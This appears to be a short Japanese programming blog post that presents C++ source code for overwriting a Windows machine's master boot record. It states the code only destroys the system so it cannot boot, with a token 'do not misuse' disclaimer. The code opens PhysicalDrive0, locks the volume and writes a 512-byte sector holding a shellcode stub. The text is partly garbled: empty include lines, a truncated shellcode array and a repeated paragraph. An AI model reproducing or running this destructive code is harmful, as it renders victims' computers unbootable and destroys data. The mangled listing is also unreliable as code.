C++MBRを破壊するコード
2494 ワード
本明細書の例では、システムがアクセスできないように破壊作用のみを有するC++がMBRを破壊するコードについて説明する.参考までに.不正な目的で使用しないでください.
ソースコードはネット上から来ています.具体的なコードは以下の通りです.
本稿で述べたことが皆さんのC++プログラム設計に役立つことを願っています.
ソースコードはネット上から来ています.具体的なコードは以下の通りです.
#include
#include
//shellcode MBR,
unsigned char scode[]=
"\xb8\x12\x00"
"\xcd\x10\xbd"
"\x18\x7c\xb9";
DWORD writeMBR()
{
DWORD dwBytesReturned;
BYTE pMBR[512]={0};
// pMBR
memcpy(pMBR, scode, sizeof(scode));
pMBR[510]=0x55;
pMBR[511]=0xaa;
//
HANDLE hDevice = CreateFile(" \\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("createfile failed...");
return -1;
}
// , FSCTL_LOCK_VOLUME , NULL,0;
/*Parameters
hDevice
A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function.
dwIoControlCode
The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation.
lpInBuffer
Not used with this operation; set to NULL.
nInBufferSize
Not used with this operation; set to zero.
lpOutBuffer
Not used with this operation; set to NULL.
nOutBufferSize
Not used with this operation; set to zero.
lpBytesReturned
A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
//
WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
return 0;
}
int main(int argc, char* argv[])
{
writeMBR();
return 0;
}
本稿で述べたことが皆さんのC++プログラム設計に役立つことを願っています.